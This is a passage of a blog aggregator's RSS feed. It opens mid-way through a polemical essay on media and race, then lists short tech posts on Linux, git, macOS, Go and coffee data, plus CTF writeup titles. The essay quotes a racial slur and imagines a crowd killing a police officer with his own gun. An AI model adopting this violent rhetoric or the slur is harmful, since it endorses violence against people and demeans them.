&lt;p&gt;Don’t believe me? It’s not an accident that both Facebook’s &lt;em&gt;“What’s on your mind?”&lt;/em&gt; and Twitter’s &lt;em&gt;“What’s happening?”&lt;/em&gt; sound like opening lines of crappy therapists. Everything has been accounted for, for a long time. And this is the new therapy. Except this is the cheap dude, and he learned somewhere that therapy is about agreeing with you. You are fucked. Everyone around you is fucked.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Our experiences come from TV. And I’m not saying that it confirms our biases (it does, but who cares when you have Facebook), I’m saying that our own understanding about the world is created by TV.&lt;/p&gt;
&lt;p&gt;From David Simon’s Homicide, where he reports his work as a homicide journalist in Baltimore:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Although the popular belief that many people fall down upon being shot is generally accurate, experts have determined that this occurs not for physiological reasons, but as a learned response. People who have been shot believe they are supposed to fall immediately to the ground, so they do. [...] There are countless cases in which people — often people whose mental processes are impaired by drugs or alcohol — are shot repeatedly, sustaining lethal wounds; yet despite the severity of their injuries, they continue to flee or resist for long periods of time. [...] If bullets truly had such power, the laws of physics would require that the shooter would also be knocked off his feet in similar fashion when he discharged the weapon.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is your life now. I suggest that you think carefully about it.&lt;/p&gt;
&lt;p&gt;Imagine you are a movie director and the script calls for a character getting shot. You want to visually identify that someone has been shot and express the power of the moment — a small hole on a shirt won’t cut it. Make the actor jump back, scream, fall to the ground. IMDB 7.3/10. Someone somewhere now has their own identity defined by this shit. Good job.&lt;/p&gt;
&lt;p&gt;So people who have never seen someone getting shot now have an experience of it. They &lt;strong&gt;know&lt;/strong&gt; what happens to a person getting shot. But then, we come full circle: since people now think they should fall down when they get shot, it becomes reality. Someone gets shot, and falls down as they have learned. Now even people who have seen someone getting shot know, first hand, that people fall down when they get shot. Except it’s all made up from dramaturgy.&lt;/p&gt;
&lt;p&gt;That’s true for a physical reaction on an extreme event. We get shot and we begin acting, as we have been taught. But please, go on, tell me about your nuanced opinion on work-life balance. Our thoughts have been owned for a long time. To think is now a metaphor.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;On Dear White People, the least self-aware show aired in recent history, we are offered the most embarrassing 10 minutes of TV since a constitutional law professor claimed that justice has been done through an assassination in foreign soil. Whatever is not dealt with is part of you now.&lt;/p&gt;
&lt;p&gt;Reggie (woke, black) duos with white friend on a party trivia game. He kills it: &lt;em&gt;“This game is culturally biased against me and I’m still whooping y’all’s ass. I know y’all’s shit and my shit!”&lt;/em&gt;. How do we know the game is culturally biased against black folks? The show refuses to give us the questions, but here are the trivia answers presented without comment: 1789; Martin Van Buren; Osmosis; Ace of Spades; Lake Titicaca; Hyperhidrosis; The Milwaukee Brewers.&lt;/p&gt;
&lt;p&gt;Later, they found themselves dancing. Reggie gets mad over his trivia white friend singing along to &lt;em&gt;“God blessin’ all the trap niggas”&lt;/em&gt;. The discussion gets heated. A healthy dose of classism goes unchallenged (&lt;em&gt;“I’m not some redneck, I’m not racist”&lt;/em&gt;). Suddenly everyone is screaming. The police comes, pulls out a gun on Reggie. The party is over. Everybody is sad. Reggie is traumatized.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" height="361" src="http://localhost/write/text/images/dear-white-people.jpg" width="720" /&gt; &lt;span class="sidenote-ref sidenote-ref-inline" id="sidenote-ref-inline10"&gt;●&lt;/span&gt;&lt;small class="sidenote sidenote_inline"&gt;This is not about police violence against black folks. This is product placement.&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;I could track every single absurdity about this scene, but we don’t have all night. Let’s just say the show is successfully reproducing the amazing conversation about race we’ve been having on Facebook as if that is real life. You think it is insightful writing? No. This is the garbage you’ve been bringing inside the house. You are a hoarder.&lt;/p&gt;
&lt;p&gt;This allegorical cop draws a gun in a room with a hundred people. I get it, he is playing his part as racist trigger happy cop. There are many reasons why a cop should never pull out a gun while surrounded in a room. Top of the list is that you have 15 bullets and they are a hundred: you shoot, you are not getting out of this room alive. &lt;em&gt;“But he will take some people with him”&lt;/em&gt;. Wait, is he a racist cop or a mentally unstable teenager? You don’t even know the difference anymore. It’s all fuzzy, like a fairy tale...&lt;/p&gt;
&lt;p&gt;But he is not the problem. Look behind it. There’s the trap and you’ve been caught. This scene is not about the cop. It's not even about Reggie. This scene is about the crowd. What are they doing? What are you supposed to do when you see injustice that could be stopped by your own actions? Pick up your phone and start recording it. You need to be ready for the real battle that will happen later on YouTube.&lt;/p&gt;
&lt;p&gt;Why doesn’t a single student step in between Reggie and the gun? Why is everyone’s reaction to stay passively spectating? I get it, no one wants to step in front of a gun voluntarily. Maybe we should adjust our rhetoric accordingly.&lt;/p&gt;
&lt;p&gt;It’s a hundred to one. Surround the cop. What happens next? He fires a gun once, twice. Before the third time he is on the ground. Someone grabs his gun and shoves it inside his skull. How many times do you think this would need to happen before we all sit down and have a productive conversation about ending police brutality?&lt;/p&gt;
&lt;p&gt;I can hear you thinking: I don't know, it sounds absurd, I wouldn't get in front of a gun. Let me let you in on a secret: the gun is fake, it has no bullets. They are all actors. But the show is okay with teaching you that white people can't sing &lt;em&gt;nigga&lt;/em&gt;, but god forbid you learn to fight back.&lt;/p&gt;
&lt;p&gt;This is Social Justice Porn. This is for you to masturbate to your own ideas about how the world works, while being completely unaware of your role in the problem. Here, let them teach you how to behave, so we can be sure that nothing ever changes. It’s not the fall that kills you, it’s the sudden stop at the end.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;You think I’m cherry-picking a show? Ha! We’ve been surrounded by woke media for a long time now. Check the feed: women beating a man to death - that they know is - wrongfully accused of rape as a metaphor for emancipation (so meta, so interesting); a fascist monarchic xenophobic society that enjoys street art (at least Breitbart and Saudi Arabia are on your side on this one). Everything gets a pass because it’s our turn now. No, it isn’t. It’s the same crap as always. You think the recent over centralization of media companies all of a sudden made them more diverse? Liberalism is going to kill us all.&lt;/p&gt;
&lt;p&gt;They are not promoting change. This is not change. This is just the consequence of how shitty we’ve all become. You think watching this is therapeutic? You are damn right it is. But talk to any good therapist and they will tell you that most patients don’t go to therapy seeking real change. They are usually trying to become more effective neurotics: how can I not suffer about what people think of me while still deciding my life based on what people think of me? It works for people, fine. But good luck trying to change a society by keeping the same people pleased.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“I’m glad they are finally depicting the world as it is”&lt;/em&gt;. This is repetition. Aren’t you glad you finally figured everything out? Meanwhile, things are not getting better. Stop wanting to feel good about yourself. Your outrage is part of the problem. Your media consumption is part of the problem. Your rationalization is part of the problem. They are all symptoms.&lt;/p&gt;
&lt;p&gt;Your behavior is already accounted for. It’s in the game. Somebody says something racist, everyone freaks out. Rush to the Internet! So glad they made a show about it. Nothing changes. Repeat.&lt;/p&gt;
&lt;p&gt;Stop waiting for validation. What is this, 3rd grade? If it’s legal, if it’s not going down screaming, then it’s not changing anything. It has been co-opted. We’ve known that for sixty years, where the fuck have y’all been that made you forget how mass media works?&lt;/p&gt;
&lt;p&gt;So this is our choice now: either we are going to enjoy this feeling of being validated about how we think the world works or we are going to change it. And by it I mean ourselves. We can't have it both ways.&lt;/p&gt;
&lt;p&gt;I guess they were right all along, porn has become a public health issue.&lt;/p&gt;</description><author>fserb.com</author><pubDate>Wed, 18 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">http://localhost/write/text/2018-04-18-social-justice-porn/</guid></item><item><title>Bologna travel bookmarks</title><link>https://xenodium.com/bologna-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;Il Cannone restaurant.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 18 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/bologna-travel-bookmarks</guid></item><item><title>Hackers Can Take Full Control of Online Compilers through a Common Exploit</title><link>https://serhack.me/articles/hackers-full-control-of-online-compilers-through-a-common-exploit/</link><description>Online compilers are a handy tool to save time and resources for coders, and are freely available for a variety of programming languages. They are useful for learning a new language and developing simple programs, such as the ubiquitous &lt;a href="https://en.wikipedia.org/wiki/%22Hello,_World!%22_program"&gt;“Hello World”&lt;/a&gt; exercise. I often use online compilers when I am out, so that I don’t have to worry about locating and downloading all of the resources myself. -&lt;a href="https://serhack.me/articles/hackers-full-control-of-online-compilers-through-a-common-exploit/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Wed, 18 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/hackers-full-control-of-online-compilers-through-a-common-exploit/</guid></item><item><title>Loop, Autoplay, Muted, Playsinline - Say Goodbye to Animated GIFs</title><link>https://blog.varunramesh.net/posts/loop-autoplay-muted/</link><description>Use HTML5 video tags instead of animated GIFs.</description><author>Varun Ramesh's Blog</author><pubDate>Wed, 18 Apr 2018 01:11:44 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/loop-autoplay-muted/</guid></item><item><title>Quick: what is the FIRST thing that should be open to democratic control, and used for the common good?</title><link>https://stop.zona-m.net/2018/04/quick-what-is-the-first-thing-that-should-be-open-to-democratic-control-and-used-for-the-common-good/</link><description>&lt;p&gt;Two articles about a great issue of our time just made me a bit sad.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 17 Apr 2018 19:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/quick-what-is-the-first-thing-that-should-be-open-to-democratic-control-and-used-for-the-common-good/</guid></item><item><title>Grep through pdfs</title><link>https://xenodium.com/grep-through-pdfs</link><description>&lt;p&gt;Late to the party, but investing in going paperless. Got a scanner with OCR, which generates searchable pdfs. If I could only grep through them…&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install pdfgrep
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Balance restored.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 17 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/grep-through-pdfs</guid></item><item><title>Nespresso Blends - a comprehensive spreadsheet</title><link>http://blog.pythonaro.com/2018/04/nespresso-blends-comprehensive.html</link><description>As a faithful &lt;a href="https://www.nespresso.com/" target="_blank"&gt;Nespresso&lt;/a&gt; user, I was a bit shocked last month when I discovered one of my favourite blends contained Robusta. I had always assumed all blends were 100% Arabica and alas, that was not the case. So I started looking up what is what, but I was quickly overwhelmed - I wasn't going to browse through 24 pages of slow-loading images to read all blurbs. Enter Python.&lt;br /&gt;
&lt;br /&gt;
As it often happens, &lt;a href="https://xkcd.com/974/" target="_blank"&gt;the situation degenerated&lt;/a&gt; quickly. The result is &lt;a alt="Nespresso Blend Data Spreadsheet" href="http://static.pythonaro.com/coffee0.xlsx"&gt;an Excel spreadsheet &lt;/a&gt;(also available &lt;a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vQHAG1wLaUR2d1oLt35SCu__pSFStX0MfppWD-ZLr2R-JYgbqOeYgv7EOlsoPC_V_A5AIJG67OrBImC/pubhtml" target="_blank"&gt;in Google Docs&lt;/a&gt;), listing all attributes of all blends so that you can filter out what you need. Decaffeinated varieties are highlighted, because that's not real coffee 😁</description><author>Subclassed</author><pubDate>Mon, 16 Apr 2018 22:30:23 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/04/nespresso-blends-comprehensive.html</guid></item><item><title>Less ties with a machine</title><link>https://venam.net/blog/unix/2018/04/17/less-ties.html</link><description>Let's say you've been using a machine for a year or two and over time you gradually become more attached and dependent on it. This is a situation I've found myself into more than once and it is quite annoying, it's straining for the brain. I've been through it the past few days and it and I kept wondering about the ways I could make it less of a pain. Imagine if today you suddenly lost access to your current work machine, what would you do? This all rotates around the concept of having "less ties", "fewer worries", "better or lighter workflow". And there are no exact step-by-step guides to reach this, only nebulous and vague ideas that rotate around it. However, checking some of them might make it less straining on the brain, less of a burden, for possible future changes.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Mon, 16 Apr 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2018/04/17/less-ties.html</guid></item><item><title>Information and economies of scale</title><link>https://blog.jonlu.ca/posts/information</link><description/><author>JonLuca's Blog</author><pubDate>Mon, 16 Apr 2018 19:52:00 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/information</guid></item><item><title>Switching Back to Linux</title><link>https://peterlyons.com/problog/2018/04/switching-back-to-linux/</link><description>&lt;p&gt;So I bought a laptop from System76 with linux and I'm slowly getting my tools and environment going. I've been using macos on macbook for a while, maybe 8 years or so, not sure. I'm pretty dang adjusted to it, and so far the shift back to linux has been pretty jarring. If I wait too long to write down thoughts, I'll skip them, so here's some stream-of-consciousness notes so far.&lt;/p&gt;
&lt;h2 id="the-new-laptop-hardware"&gt;The New Laptop Hardware&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;nice
&lt;ul&gt;
&lt;li&gt;light weight&lt;/li&gt;
&lt;li&gt;small and light power adapter&lt;/li&gt;
&lt;li&gt;normal plug on the power adapter like a lamp not a giant heavy brick that falls out of the socket&lt;/li&gt;
&lt;li&gt;Keyboard has dedicated delete key, home, end, page up/down all of which I like (macbooks don't have these)&lt;/li&gt;
&lt;li&gt;For the price, I get a lot more ram, SSD, disk, CPU, and ports&lt;/li&gt;
&lt;li&gt;no dongles&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;not nice
&lt;ul&gt;
&lt;li&gt;space bar on the keyboard is glitchy&lt;/li&gt;
&lt;li&gt;trackpad is really really terrible. I'm not sure I'll be able to use it effectively. Probably need a dedicated mouse that I always bring with my laptop.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="software-stuff"&gt;Software Stuff&lt;/h2&gt;
&lt;p&gt;I have a pretty long list of stuff I need to find linux equivalents for.&lt;/p&gt;
&lt;p&gt;The password manager situation is bleak. I use 1Password on my mac, but there's no native linux app. They have a chrome extension that works on linux, but not with local files, only with a paid cloud hosted account. I searched a long time for any viable process to get from 1Password to KeyPass without developing a new import/export tool and it looks like there's nothing ready to go, so I ponied up for the cloud account in the name of expediency. I'll probably try to write an import/export tool later but I'm pretty much dead in the water without a working password manager so I wanted to get unblocked on that.&lt;/p&gt;
&lt;p&gt;It took a while for me to find the right commands to adjust the keyboard repeat settings, which it turns out I need to be in a very precise configuration or I find the keyboard unusable (this is the same for me on any computer). If I'm working on a friend's laptop with slow key repeat for more than 5 minutes I get frustrated and have to configure their setting. I did eventually find what I need and also found a way to get them to run when I log in so that's square now. Oh and I found the equivalent of "sticky keys". It's not as nice as on macos because there's no on-screen indication of stuck keys and AFAIK so far no easy way to turn it on/off but it's doing the main thing fine.&lt;/p&gt;
&lt;p&gt;For launching and activating applications with hotkeys I'm using gnome keyboard shortcuts that run a script that uses &lt;code&gt;wmctrl&lt;/code&gt; to find the intended window and activate it. This is so far a reasonably good substitute for my equivalent keyboard maestro macros.&lt;/p&gt;
&lt;p&gt;For my heads-up commander terminal, I easily found &lt;code&gt;tilda&lt;/code&gt; which is basically exactly what I was looking for. Luckily commander is python and largely cross platform.&lt;/p&gt;
&lt;p&gt;WiFi "just worked" for real this time, I'm pleased to report, even the captive portal at the coffee shop from which I write this post. Well, that's mostly true in that gnome detected the captive portal, but the actual portal consent page only worked in chrome not firefox.&lt;/p&gt;
&lt;p&gt;The screen and fonts have been a challenge so far. In general everything is too small, which I can solve probably with some combination of zoom settings and maybe a lower resolution but I want to do some more research before implementing something. I've been hacking around it with a few font size increases and some browser zooming.&lt;/p&gt;
&lt;p&gt;In general the fonts look bad compared to macos but that's something that I adjust to quickly and stop noticing. Also that old familiar X windows pointer just looks pretty sorry. I'm not sure why but I have a mental association with that mouse pointer icon and craptastic software.&lt;/p&gt;
&lt;p&gt;That's where I am now. It's more or less usable but I still have a pretty big laundry list of stuff to configure before I can start doing any actual project work on this laptop.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Mon, 16 Apr 2018 06:31:48 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/04/switching-back-to-linux/</guid></item><item><title>Sloc Cloc and Code - What happened on the way to faster Cloc</title><link>https://boyter.org/posts/sloc-cloc-code/</link><description>&lt;h3 id="it-started-by-wanting-to-write-a-code-counter-that-would-be-faster-than-cloc"&gt;It started by wanting to write a code counter that would be faster than cloc&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Update 2019-03-13&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is now part of a series of blog posts about &lt;code&gt;scc&lt;/code&gt; Sloc Cloc and Code which has now been optimised to be the fastest code counter for almost every workload. Read more about it at the following links.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code/"&gt;Sloc Cloc and Code - What happened on the way to faster Cloc 2018-04-16&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-revisited/"&gt;Sloc Cloc and Code Revisited - A focus on accuracy 2018-08-28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-performance/"&gt;Sloc Cloc and Code Revisited - Optimizing an already fast Go application 2018-09-19&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-performance-update/"&gt;Sloc Cloc and Code a Performance Update 2019-01-09&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-badges/"&gt;Sloc Cloc and Code Badges for Github/Bitbucket/Gitlab&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;TL/DR&lt;/strong&gt;&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Mon, 16 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/sloc-cloc-code/</guid></item><item><title>Words per minute is not a good measure of typing speed</title><link>https://blog.jonlu.ca/posts/wpm</link><description/><author>JonLuca's Blog</author><pubDate>Sun, 15 Apr 2018 23:48:35 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/wpm</guid></item><item><title>Why does this blog exist?</title><link>https://blog.jonlu.ca/posts/why-does-this-exist</link><description/><author>JonLuca's Blog</author><pubDate>Sun, 15 Apr 2018 22:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/why-does-this-exist</guid></item><item><title>Research notes : Design for trust</title><link>https://yasha.solutions/research-notes-design-for-trust/</link><description>So, here are some of my notes on designing for trust.
It is more and more important to look at design beyong its usability function and start to think about the emotional state of the user.
(Funny enough I just found a video from a designer talking about that 8 years ago… so yeah… it is really time then…)
As I was working on design principles for a projectthe other day – I started to dig into this concept of trust and design.</description><author>Yasha Solutions</author><pubDate>Sun, 15 Apr 2018 14:46:21 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/research-notes-design-for-trust/</guid></item><item><title>WPICTF 2018: Forker[1-4] Writeup - Blind-ish ROP</title><link>https://www.da.vidbuchanan.co.uk/blog/WPICTF-2018-forker-writeup.html</link><author>David Buchanan's Blog</author><pubDate>Sun, 15 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/WPICTF-2018-forker-writeup.html</guid></item><item><title>WPICTF 2018: Jay-Peg Writeup - LSB-Stego</title><link>https://www.da.vidbuchanan.co.uk/blog/WPICTF-2018-jay-peg-writeup.html</link><author>David Buchanan's Blog</author><pubDate>Sun, 15 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/WPICTF-2018-jay-peg-writeup.html</guid></item><item><title>Building a notification system part 3: Dropbox</title><link>https://smetj.net/building_a_notification_system_part_3_dropbox.html</link><description>&lt;p&gt;Dropbox is a file hosting service operated by American company Dropbox, Inc.,
headquartered in San Francisco, California, that offers cloud storage, file
synchronization, personal cloud, and client software.&lt;/p&gt;
&lt;p&gt;In this article we will cover how to integrate Dropbox webhooks into the
Wishbone based notification system we have built and configured …&lt;/p&gt;</description><author>Jelle Smet</author><pubDate>Sat, 14 Apr 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/building_a_notification_system_part_3_dropbox.html</guid></item><item><title>Hammerspoon bookmarks</title><link>https://xenodium.com/hammerspoon-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/peterpme/dotfiles/blob/master/hammerspoon/grid.lua"&gt;dotfiles/grid.lua at master&lt;/a&gt; for simple functions to resize windows.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/justintanner/71d640be159c2a76e85d5196cf22e98a"&gt;Emacs keys everywhere Hammerspoon Script&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zzamboni.org/post/getting-started-with-hammerspoon/"&gt;Getting Started With Hammerspoon (by Diego Martín Zamboni)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/agzam/spacehammer"&gt;Hammerspoon config inspired by Spacemacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zzamboni.org/post/just-enough-lua-to-be-productive-in-hammerspoon-part-1/"&gt;Just Enough Lua to Be Productive in Hammerspoon, Part 1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zzamboni.org/post/just-enough-lua-to-be-productive-in-hammerspoon-part-2/"&gt;Just Enough Lua to Be Productive in Hammerspoon, Part 2&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/anandpiyer/.dotfiles/blob/fb7bdf5d6382515f36587f2ada83330d83983624/.hammerspoon/init.lua#L200"&gt;launchOrFocusByBundleID&lt;/a&gt; for global key bindings (there are Emacs goodies there too).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/schilken/dot-hammerspoon"&gt;My configuration with init.lua and the require()ed modules&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.hammerspoon.org/Spoons/Seal.html"&gt;Seal&lt;/a&gt;. Helm-like for hammerspoon.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.kalis.me/setup-hyper-key-hammerspoon-macos/"&gt;Set up a Hyper Key with Hammerspoon on macOS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/asmagill/hammerspoon-config/blob/07ec892ab1351d2a7659d802e4cbfa8e8a0d5702/_scratch/zerobrane.lua"&gt;ZeroBrane completion&lt;/a&gt; and &lt;a href="https://github.com/cmsj/hammerspoon-config/blob/master/init.lua"&gt;here&lt;/a&gt; also.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 14 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/hammerspoon-bookmarks</guid></item><item><title>Options to reduce Go binary size</title><link>https://xenodium.com/options-to-reduce-go-binary-size</link><description>&lt;p&gt;A Hacker News's thread &lt;a href="https://news.ycombinator.com/item?id=16834181"&gt;Go gets preliminary WebAssembly support&lt;/a&gt; has a couple of tips to reduce binaries compiled with Go.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;go build -ldflags=-s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href="https://upx.github.io/"&gt;UPX&lt;/a&gt; (Ultimate Packer for eXecutables) packs the binary further.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;upx --ultra-brute
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 14 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/options-to-reduce-go-binary-size</guid></item><item><title>Change Git Line Endings</title><link>https://www.databasesandlife.com/change-git-line-endings/</link><description>&lt;p&gt;In a similar vein to &lt;a href="https://www.databasesandlife.com/software-moving-companies-while-preserving-git-history/"&gt;my previous article&lt;/a&gt;, here is a script to change the line endings of all files across all revisions in a Git repository to UNIX line endings.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git filter-branch -f
  --tree-filter 'find . 
    -name .git -prune -o 
    -exec sh -c "file {} | grep -q text" \;
    -exec dos2unix -q {} \;
  ' 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Subversion, by default, stores all files in the repository in the line endings in which they were created. Git, by default, converts all files in the repository to have UNIX newline endings when they are added. If you convert a repository from Subversion to Git using &lt;code&gt;git svn clone&lt;/code&gt; then the repository files are copied from Subversion to Git, leaving them not having their original line endings in the Git repository.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Fri, 13 Apr 2018 10:08:54 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/change-git-line-endings/</guid></item><item><title>Best Practices For Invoice UX</title><link>https://www.databasesandlife.com/invoices/</link><description>&lt;p&gt;So your product bills customers and produces invoices. Being self-employed, I have to go through my bank statements and send those invoices to my accountant. This is what I wish companies who produce invoices would do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Invoices are PDFs.&lt;/strong&gt; PDF files are easy to put into a directory to send to my accountant. PDF files can be styled to actually look like invoices. (HTML files inevitably look different depending on your zoom level, and so on.)&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Fri, 13 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/invoices/</guid></item><item><title>HITB-XCTF GSEC 2018 Quals: babypwn - Blind Format String Exploitation</title><link>https://www.da.vidbuchanan.co.uk/blog/HITB-XCTF-2018-babypwn.html</link><author>David Buchanan's Blog</author><pubDate>Fri, 13 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/HITB-XCTF-2018-babypwn.html</guid></item><item><title>Lessons I've learned from teaching 20 years of IT</title><link>https://jasoneckert.github.io/myblog/20-years-of-teaching-lessons-learned/</link><description>&lt;p&gt;&lt;img alt="classroom" src="20years.png#center" title="classroom" /&gt;&lt;/p&gt;
&lt;p&gt;I actually started teaching on April 13th 1998 (20 years ago today).&lt;/p&gt;
&lt;p&gt;It was my final year as a student at the University of Waterloo, and as I was finishing up writing my final exams I realized that I needed to actually go out and get a real job to support my family (I was married with a daughter at the time).&lt;/p&gt;
&lt;p&gt;Prior to that, I had worked on some very cool technology projects for various companies (including some big names like Microsoft, DEC and SUN), as well as worked for the University as a Web developer and sysadmin. I also worked for many years as a teaching assistant and courseware editor for Peter Chieh&amp;rsquo;s nuclear chemistry course&amp;hellip;.after all, most of my academic background was in science, which is where most of the computer science talent was back in the 1990s!&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Fri, 13 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/20-years-of-teaching-lessons-learned/</guid></item><item><title>Everything that's wrong in Zuckerberg's hearing, in one paragraph</title><link>https://stop.zona-m.net/2018/04/everything-thats-wrong-in-zuckerbergs-hearing-in-one-paragraph/</link><description>&lt;p&gt;It&amp;rsquo;s there, in one article.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 12 Apr 2018 17:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/everything-thats-wrong-in-zuckerbergs-hearing-in-one-paragraph/</guid></item><item><title>Mac Notification Center does not work: the Quick Fix</title><link>https://nicolaiarocci.com/mac-notification-center-does-not-work-the-quick-fix/</link><description>&lt;p&gt;I had this happen to me a few times already. Notification Center on the Mac
goes completely numb: no more notifications and the list is empty. I&amp;rsquo;m writing
down the fix, so I do not have to google the forums once again the next time.&lt;/p&gt;
&lt;p&gt;Open the Terminal, then:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# this usually fails, as the notification server is already running
launchctl load -w /System/Library/LaunchAgents/com.apple.notificationcenterui.plist

# kills and restarts the notification center - fixed!.
killall NotificationCenter
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Join the &lt;a href="http://eepurl.com/b-_Pzz"&gt;newsletter&lt;/a&gt; to get an email alert when a new post surfaces on
this site. If you want to get in touch, I am @&lt;a href="http://twitter.com/nicolaiarocci"&gt;nicolaiarocci&lt;/a&gt; on twitter.&lt;/em&gt;&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 12 Apr 2018 11:06:35 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/mac-notification-center-does-not-work-the-quick-fix/</guid></item><item><title>Update PHP using homebrew</title><link>https://jasonraimondi.com/posts/update-php-homebrew/</link><description>&lt;p&gt;&lt;a href="https://github.com/Homebrew/homebrew-php"&gt;Homebrew/php&lt;/a&gt; has been deprecated.&lt;/p&gt;
&lt;p&gt;As &lt;a href="https://brew.sh/2018/01/19/homebrew-1.5.0/"&gt;announced on the 19th of January&lt;/a&gt; this tap was archived on 31st March 2018.&lt;/p&gt;
&lt;p&gt;All formulae were migrated to &lt;a href="https://github.com/Homebrew/homebrew-core"&gt;Homebrew/homebrew-core&lt;/a&gt; or deleted.&lt;/p&gt;
&lt;h4 id="find-what-existing-php-libraries-you-are-using-loaded-through-homebrew"&gt;Find what existing PHP libraries you are using loaded through homebrew.&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew list &lt;span class="p"&gt;|&lt;/span&gt; grep php
